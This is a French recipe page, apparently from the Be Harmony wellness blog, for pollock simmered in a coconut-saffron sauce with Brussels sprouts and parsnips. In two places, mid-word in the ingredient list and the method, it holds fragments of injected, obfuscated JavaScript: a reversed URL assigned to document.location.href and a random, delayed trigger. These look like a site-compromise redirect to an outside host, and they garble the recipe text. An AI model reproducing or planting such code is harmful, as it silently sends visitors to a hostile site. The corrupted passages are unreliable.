MIJOTÉ DE LIEU NOIR COCO SAFRAN
Je vous propose ici un mariage subtil de saveurs d’hiver avec le choux de Bruxelles et l’originalité et l’exotisme de la sauce coco-safran. Le lieu noir est un poisson qui se marie parfaitement à cette sauce onctueuse. Vous allez vous régaler !
Pour 4 Pers.
INGRÉDIENTS :
– 500g de lieu noir coupé en morceaux de 2cm environ
– 200g de choux de Bruxelles nettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toyés et coupés en 4
– 2 panais épluchés et taillés en morceaux de 1cm
– 400ml de lait de coco (1 boîte)
– 1 dose de safran ou quelques filaments
– 1 citron jaune
– huile d’olive
– sel & poivre
Dans une casserole, faire revenir le panais et les choux de Bruxelles 1 minute dans un peu d’huile d’olive
Verser la moitié du lait de coco dans la casserole avec le safran . Ajouter de l’eau de façon à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout juste couvrir les légumes et faire mijoter à couvert 8 minutes environ. Ajouter un cube de bouillon et poivrer généreusement.
Ajouter le lieu noir et le reste de lait de coco. Poursuivre la cuisson pendant 8 minutes supplémentaires à couvert.
Gouter et rectifier l’assaisonnement si nécessaire.
Servir arrosé d’un filet de jus de citron
Le petit mot de Joanne : ce plat se sert avec un riz blanc, du riz de choux-fleur ou de la quinoa.
Bon appétit !
LES RECETTES BE HARMONY
Be Harmony vous invite à retrouver l’ensemble de ses recettes sur son Blog “Idées Recettes” (lien ci-dessous)
Joanne Reichling, issue de la formation “Arts culinaires” de l’école d’Alain DUCASSE, vous propose chaque semaine une recette originale qui vous permettra de vous adapter à votre rééquilibrage alimentaire.
Pour plus d’informations, vous pouvez consulter notre Site Internet et/ou vous rapprocher de votre harmonythérapeute.
A très bientôt !